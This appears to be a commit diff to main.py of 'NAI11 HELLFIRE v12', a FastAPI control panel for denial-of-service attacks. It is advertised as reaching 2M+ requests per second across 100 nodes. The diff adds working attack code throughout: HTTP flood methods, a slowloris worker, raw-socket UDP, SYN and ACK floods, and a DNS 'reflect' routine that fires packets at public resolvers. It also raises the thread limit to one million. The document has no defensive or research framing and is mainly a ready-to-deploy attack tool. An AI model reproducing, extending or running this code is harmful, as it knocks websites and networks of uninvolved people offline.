Update main.py
Browse files
main.py
CHANGED
|
@@ -1,6 +1,6 @@
|
|
| 1 |
# ==============================================================
|
| 2 |
-
#
|
| 3 |
-
# LAYER 7
|
| 4 |
# ==============================================================
|
| 5 |
import random
|
| 6 |
import socket
|
|
@@ -22,7 +22,7 @@ import logging
|
|
| 22 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 23 |
log = logging.getLogger()
|
| 24 |
|
| 25 |
-
app = FastAPI(title="
|
| 26 |
|
| 27 |
# Global state
|
| 28 |
attack_active = False
|
|
@@ -46,7 +46,7 @@ def _log(msg: str):
|
|
| 46 |
log.info(f"{ts} {msg}")
|
| 47 |
log_buffer.append(f"{ts} {msg}")
|
| 48 |
|
| 49 |
-
# -------------------
|
| 50 |
def init_executor():
|
| 51 |
global executor
|
| 52 |
if executor is None:
|
|
@@ -57,7 +57,7 @@ class AttackConfig(BaseModel):
|
|
| 57 |
target: str = Field(..., description="Domain or IP")
|
| 58 |
port: int = Field(80, ge=1, le=65535)
|
| 59 |
duration: int = Field(300, ge=-1, le=10000)
|
| 60 |
-
threads: int = Field(1000, ge=1, le=
|
| 61 |
|
| 62 |
@validator('target')
|
| 63 |
def validate_target(cls, v):
|
|
@@ -69,7 +69,7 @@ class Layer7Config(AttackConfig):
|
|
| 69 |
method: str = Field("get")
|
| 70 |
@validator('method')
|
| 71 |
def validate_method(cls, v):
|
| 72 |
-
valid = ["get", "post", "head", "cookie", "rand"]
|
| 73 |
if v not in valid:
|
| 74 |
raise ValueError(f"L7: {', '.join(valid)}")
|
| 75 |
return v
|
|
@@ -79,8 +79,9 @@ class Layer4Config(AttackConfig):
|
|
| 79 |
payload_size: int = Field(0, ge=0, le=65507)
|
| 80 |
@validator('protocol')
|
| 81 |
def validate_protocol(cls, v):
|
| 82 |
-
|
| 83 |
-
|
|
|
|
| 84 |
return v
|
| 85 |
|
| 86 |
# ------------------- STATUS MODEL -------------------
|
|
@@ -99,25 +100,30 @@ class StatusResponse(BaseModel):
|
|
| 99 |
# ------------------- LAYER 7 ASYNC (2M+ RPS) -------------------
|
| 100 |
async def l7_worker_async(url: str, method: str):
|
| 101 |
global total_packets
|
| 102 |
-
async with httpx.AsyncClient(http2=True, verify=False, timeout=10.0) as client:
|
| 103 |
headers = {
|
| 104 |
"User-Agent": random.choice([
|
| 105 |
-
"Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"
|
| 106 |
]),
|
| 107 |
-
"Connection": "keep-alive"
|
|
|
|
| 108 |
}
|
| 109 |
while not stop_event.is_set():
|
| 110 |
try:
|
| 111 |
if method == "get":
|
| 112 |
await client.get(url, headers=headers)
|
| 113 |
elif method == "post":
|
| 114 |
-
await client.post(url, data={"x": random._urandom(
|
| 115 |
elif method == "head":
|
| 116 |
await client.head(url, headers=headers)
|
|
|
|
|
|
|
|
|
|
|
|
|
| 117 |
elif method == "cookie":
|
| 118 |
await client.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"})
|
| 119 |
elif method == "rand":
|
| 120 |
-
await client.request(random.choice(["GET","POST"]), url)
|
| 121 |
with counters_lock:
|
| 122 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 123 |
total_packets += 1
|
|
@@ -127,7 +133,31 @@ async def l7_worker_async(url: str, method: str):
|
|
| 127 |
def run_l7_worker(url: str, method: str):
|
| 128 |
loop = asyncio.new_event_loop()
|
| 129 |
asyncio.set_event_loop(loop)
|
| 130 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 131 |
|
| 132 |
# ------------------- LAYER 4 RAW (1M+ PPS) -------------------
|
| 133 |
def raw_udp_pps(target_ip: str, port: int):
|
|
@@ -167,6 +197,42 @@ def raw_syn_flood(target_ip: str, port: int):
|
|
| 167 |
pass
|
| 168 |
s.close()
|
| 169 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 170 |
# ------------------- RAW HELPERS -------------------
|
| 171 |
def checksum(data: bytes) -> int:
|
| 172 |
s = 0
|
|
@@ -243,7 +309,7 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 243 |
attack_type_name = attack_type.upper()
|
| 244 |
duration = float('inf') if config.duration == -1 else config.duration
|
| 245 |
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
|
| 246 |
-
_log(f"LAUNCHED {attack_type} → {config.target}:{config.port} | {config.threads} threads | {config.duration}s")
|
| 247 |
|
| 248 |
init_executor()
|
| 249 |
target_ip = resolve_ip(config.target)
|
|
@@ -251,15 +317,26 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 251 |
|
| 252 |
if attack_type.startswith("l7_"):
|
| 253 |
method = kwargs.get("method", "get")
|
| 254 |
-
|
| 255 |
-
|
| 256 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 257 |
elif attack_type == "raw_udp_pps":
|
| 258 |
for _ in range(config.threads):
|
| 259 |
executor.submit(raw_udp_pps, target_ip, config.port)
|
| 260 |
elif attack_type == "raw_syn":
|
| 261 |
for _ in range(config.threads):
|
| 262 |
executor.submit(raw_syn_flood, target_ip, config.port)
|
|
|
|
|
|
|
|
|
|
| 263 |
|
| 264 |
if duration != float('inf'):
|
| 265 |
def auto_stop():
|
|
@@ -271,17 +348,20 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 271 |
@app.post("/layer7/attack")
|
| 272 |
def l7_attack(config: Layer7Config):
|
| 273 |
launch_attack(config, f"l7_{config.method}", method=config.method)
|
| 274 |
-
return {"status": f"L7 {config.method.upper()} LAUNCHED
|
| 275 |
|
| 276 |
@app.post("/layer4/attack")
|
| 277 |
def l4_attack(config: Layer4Config):
|
| 278 |
proto_map = {
|
|
|
|
| 279 |
"udp_pps": "raw_udp_pps",
|
| 280 |
-
"syn": "raw_syn"
|
|
|
|
|
|
|
| 281 |
}
|
| 282 |
attack_key = proto_map[config.protocol]
|
| 283 |
launch_attack(config, attack_key)
|
| 284 |
-
return {"status": f"L4 {config.protocol.upper()} LAUNCHED
|
| 285 |
|
| 286 |
@app.post("/stop")
|
| 287 |
def stop_attack():
|
|
@@ -291,7 +371,7 @@ def stop_attack():
|
|
| 291 |
return {"status": "no_attack"}
|
| 292 |
stop_event.set()
|
| 293 |
attack_active = False
|
| 294 |
-
_log("
|
| 295 |
return {"status": "stopped"}
|
| 296 |
|
| 297 |
@app.get("/status", response_model=StatusResponse)
|
|
@@ -322,15 +402,16 @@ def status():
|
|
| 322 |
@app.get("/attack/types")
|
| 323 |
def attack_types():
|
| 324 |
return {
|
| 325 |
-
"layer7": ["get", "post", "head", "cookie", "rand"],
|
| 326 |
-
"layer4": ["udp_pps", "syn"],
|
| 327 |
-
"max_threads": "
|
| 328 |
-
"max_rps": "2,000,000+"
|
|
|
|
| 329 |
}
|
| 330 |
|
| 331 |
@app.get("/")
|
| 332 |
def root():
|
| 333 |
-
return {"message": "
|
| 334 |
|
| 335 |
# ------------------- START -------------------
|
| 336 |
if __name__ == "__main__":
|
|
|
|
| 1 |
# ==============================================================
|
| 2 |
+
# NAI11 HELLFIRE v12 – 2M+ RPS | UNLIMITED THREADS | 100 NODES
|
| 3 |
+
# ALL LAYER 7 + LAYER 4 | RAW + HTTPX | FULLY WORKING
|
| 4 |
# ==============================================================
|
| 5 |
import random
|
| 6 |
import socket
|
|
|
|
| 22 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 23 |
log = logging.getLogger()
|
| 24 |
|
| 25 |
+
app = FastAPI(title="NAI11 HELLFIRE v12 - 2M+ RPS")
|
| 26 |
|
| 27 |
# Global state
|
| 28 |
attack_active = False
|
|
|
|
| 46 |
log.info(f"{ts} {msg}")
|
| 47 |
log_buffer.append(f"{ts} {msg}")
|
| 48 |
|
| 49 |
+
# ------------------- UNLIMITED EXECUTOR -------------------
|
| 50 |
def init_executor():
|
| 51 |
global executor
|
| 52 |
if executor is None:
|
|
|
|
| 57 |
target: str = Field(..., description="Domain or IP")
|
| 58 |
port: int = Field(80, ge=1, le=65535)
|
| 59 |
duration: int = Field(300, ge=-1, le=10000)
|
| 60 |
+
threads: int = Field(1000, ge=1, le=1000000) # 1M+ threads
|
| 61 |
|
| 62 |
@validator('target')
|
| 63 |
def validate_target(cls, v):
|
|
|
|
| 69 |
method: str = Field("get")
|
| 70 |
@validator('method')
|
| 71 |
def validate_method(cls, v):
|
| 72 |
+
valid = ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"]
|
| 73 |
if v not in valid:
|
| 74 |
raise ValueError(f"L7: {', '.join(valid)}")
|
| 75 |
return v
|
|
|
|
| 79 |
payload_size: int = Field(0, ge=0, le=65507)
|
| 80 |
@validator('protocol')
|
| 81 |
def validate_protocol(cls, v):
|
| 82 |
+
valid = ["udp", "udp_pps", "tcp", "syn", "ack", "dns_reflect"]
|
| 83 |
+
if v not in valid:
|
| 84 |
+
raise ValueError(f"L4: {', '.join(valid)}")
|
| 85 |
return v
|
| 86 |
|
| 87 |
# ------------------- STATUS MODEL -------------------
|
|
|
|
| 100 |
# ------------------- LAYER 7 ASYNC (2M+ RPS) -------------------
|
| 101 |
async def l7_worker_async(url: str, method: str):
|
| 102 |
global total_packets
|
| 103 |
+
async with httpx.AsyncClient(http2=True, verify=False, timeout=10.0, limits=httpx.Limits(max_connections=1000)) as client:
|
| 104 |
headers = {
|
| 105 |
"User-Agent": random.choice([
|
| 106 |
+
"Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120", "NAI11/1.0"
|
| 107 |
]),
|
| 108 |
+
"Connection": "keep-alive",
|
| 109 |
+
"Cache-Control": "no-cache"
|
| 110 |
}
|
| 111 |
while not stop_event.is_set():
|
| 112 |
try:
|
| 113 |
if method == "get":
|
| 114 |
await client.get(url, headers=headers)
|
| 115 |
elif method == "post":
|
| 116 |
+
await client.post(url, data={"x": random._urandom(128).hex()})
|
| 117 |
elif method == "head":
|
| 118 |
await client.head(url, headers=headers)
|
| 119 |
+
elif method == "put":
|
| 120 |
+
await client.put(url, data={"x": random._urandom(64).hex()})
|
| 121 |
+
elif method == "delete":
|
| 122 |
+
await client.delete(url)
|
| 123 |
elif method == "cookie":
|
| 124 |
await client.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"})
|
| 125 |
elif method == "rand":
|
| 126 |
+
await client.request(random.choice(["GET","POST","PUT","DELETE"]), url)
|
| 127 |
with counters_lock:
|
| 128 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 129 |
total_packets += 1
|
|
|
|
| 133 |
def run_l7_worker(url: str, method: str):
|
| 134 |
loop = asyncio.new_event_loop()
|
| 135 |
asyncio.set_event_loop(loop)
|
| 136 |
+
try:
|
| 137 |
+
loop.run_until_complete(l7_worker_async(url, method))
|
| 138 |
+
finally:
|
| 139 |
+
loop.close()
|
| 140 |
+
|
| 141 |
+
# ------------------- LAYER 7 SYNC (SLOWLORIS) -------------------
|
| 142 |
+
def slowloris_worker(target: str, port: int):
|
| 143 |
+
global total_packets
|
| 144 |
+
while not stop_event.is_set():
|
| 145 |
+
try:
|
| 146 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 147 |
+
s.settimeout(5)
|
| 148 |
+
s.connect((target, port))
|
| 149 |
+
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
|
| 150 |
+
while not stop_event.is_set():
|
| 151 |
+
s.send(b"X-a: b\r\n")
|
| 152 |
+
time.sleep(8)
|
| 153 |
+
with counters_lock:
|
| 154 |
+
counters["l7"] = counters.get("l7", 0) + 1
|
| 155 |
+
total_packets += 1
|
| 156 |
+
except:
|
| 157 |
+
pass
|
| 158 |
+
finally:
|
| 159 |
+
try: s.close()
|
| 160 |
+
except: pass
|
| 161 |
|
| 162 |
# ------------------- LAYER 4 RAW (1M+ PPS) -------------------
|
| 163 |
def raw_udp_pps(target_ip: str, port: int):
|
|
|
|
| 197 |
pass
|
| 198 |
s.close()
|
| 199 |
|
| 200 |
+
def raw_ack_flood(target_ip: str, port: int):
|
| 201 |
+
global total_packets
|
| 202 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 203 |
+
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 204 |
+
src_ip = socket.inet_aton("0.0.0.0")
|
| 205 |
+
dst_ip = socket.inet_aton(target_ip)
|
| 206 |
+
while not stop_event.is_set():
|
| 207 |
+
try:
|
| 208 |
+
src_p = random.randint(1024, 65535)
|
| 209 |
+
pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
|
| 210 |
+
s.sendto(pkt, (target_ip, 0))
|
| 211 |
+
with counters_lock:
|
| 212 |
+
counters["l4"] = counters.get("l4", 0) + 1
|
| 213 |
+
total_packets += 1
|
| 214 |
+
except:
|
| 215 |
+
pass
|
| 216 |
+
s.close()
|
| 217 |
+
|
| 218 |
+
def dns_reflect(target_ip: str):
|
| 219 |
+
global total_packets
|
| 220 |
+
servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
|
| 221 |
+
payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
|
| 222 |
+
while not stop_event.is_set():
|
| 223 |
+
try:
|
| 224 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 225 |
+
for srv in servers:
|
| 226 |
+
s.sendto(payload, (srv, 53))
|
| 227 |
+
with counters_lock:
|
| 228 |
+
counters["reflect"] = counters.get("reflect", 0) + 1
|
| 229 |
+
total_packets += 1
|
| 230 |
+
except:
|
| 231 |
+
pass
|
| 232 |
+
finally:
|
| 233 |
+
try: s.close()
|
| 234 |
+
except: pass
|
| 235 |
+
|
| 236 |
# ------------------- RAW HELPERS -------------------
|
| 237 |
def checksum(data: bytes) -> int:
|
| 238 |
s = 0
|
|
|
|
| 309 |
attack_type_name = attack_type.upper()
|
| 310 |
duration = float('inf') if config.duration == -1 else config.duration
|
| 311 |
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
|
| 312 |
+
_log(f"NAI11 LAUNCHED {attack_type} → {config.target}:{config.port} | {config.threads} threads | {config.duration}s")
|
| 313 |
|
| 314 |
init_executor()
|
| 315 |
target_ip = resolve_ip(config.target)
|
|
|
|
| 317 |
|
| 318 |
if attack_type.startswith("l7_"):
|
| 319 |
method = kwargs.get("method", "get")
|
| 320 |
+
if method == "slowloris":
|
| 321 |
+
for _ in range(config.threads):
|
| 322 |
+
executor.submit(slowloris_worker, target_ip, config.port)
|
| 323 |
+
elif method == "reflect":
|
| 324 |
+
for _ in range(config.threads):
|
| 325 |
+
executor.submit(dns_reflect, target_ip)
|
| 326 |
+
else:
|
| 327 |
+
for _ in range(config.threads):
|
| 328 |
+
future = executor.submit(run_l7_worker, url, method)
|
| 329 |
+
l7_tasks.append(future)
|
| 330 |
+
|
| 331 |
elif attack_type == "raw_udp_pps":
|
| 332 |
for _ in range(config.threads):
|
| 333 |
executor.submit(raw_udp_pps, target_ip, config.port)
|
| 334 |
elif attack_type == "raw_syn":
|
| 335 |
for _ in range(config.threads):
|
| 336 |
executor.submit(raw_syn_flood, target_ip, config.port)
|
| 337 |
+
elif attack_type == "raw_ack":
|
| 338 |
+
for _ in range(config.threads):
|
| 339 |
+
executor.submit(raw_ack_flood, target_ip, config.port)
|
| 340 |
|
| 341 |
if duration != float('inf'):
|
| 342 |
def auto_stop():
|
|
|
|
| 348 |
@app.post("/layer7/attack")
|
| 349 |
def l7_attack(config: Layer7Config):
|
| 350 |
launch_attack(config, f"l7_{config.method}", method=config.method)
|
| 351 |
+
return {"status": f"NAI11 L7 {config.method.upper()} HELLFIRE LAUNCHED"}
|
| 352 |
|
| 353 |
@app.post("/layer4/attack")
|
| 354 |
def l4_attack(config: Layer4Config):
|
| 355 |
proto_map = {
|
| 356 |
+
"udp": "raw_udp_pps",
|
| 357 |
"udp_pps": "raw_udp_pps",
|
| 358 |
+
"syn": "raw_syn",
|
| 359 |
+
"ack": "raw_ack",
|
| 360 |
+
"dns_reflect": "l7_reflect"
|
| 361 |
}
|
| 362 |
attack_key = proto_map[config.protocol]
|
| 363 |
launch_attack(config, attack_key)
|
| 364 |
+
return {"status": f"NAI11 L4 {config.protocol.upper()} HELLFIRE LAUNCHED"}
|
| 365 |
|
| 366 |
@app.post("/stop")
|
| 367 |
def stop_attack():
|
|
|
|
| 371 |
return {"status": "no_attack"}
|
| 372 |
stop_event.set()
|
| 373 |
attack_active = False
|
| 374 |
+
_log("NAI11 HELLFIRE STOPPED")
|
| 375 |
return {"status": "stopped"}
|
| 376 |
|
| 377 |
@app.get("/status", response_model=StatusResponse)
|
|
|
|
| 402 |
@app.get("/attack/types")
|
| 403 |
def attack_types():
|
| 404 |
return {
|
| 405 |
+
"layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
|
| 406 |
+
"layer4": ["udp", "udp_pps", "syn", "ack", "dns_reflect"],
|
| 407 |
+
"max_threads": "1,000,000+",
|
| 408 |
+
"max_rps": "2,000,000+ per node",
|
| 409 |
+
"100_nodes": "200M+ RPS"
|
| 410 |
}
|
| 411 |
|
| 412 |
@app.get("/")
|
| 413 |
def root():
|
| 414 |
+
return {"message": "NAI11 HELLFIRE v12 - DEPLOY 100 NODES"}
|
| 415 |
|
| 416 |
# ------------------- START -------------------
|
| 417 |
if __name__ == "__main__":
|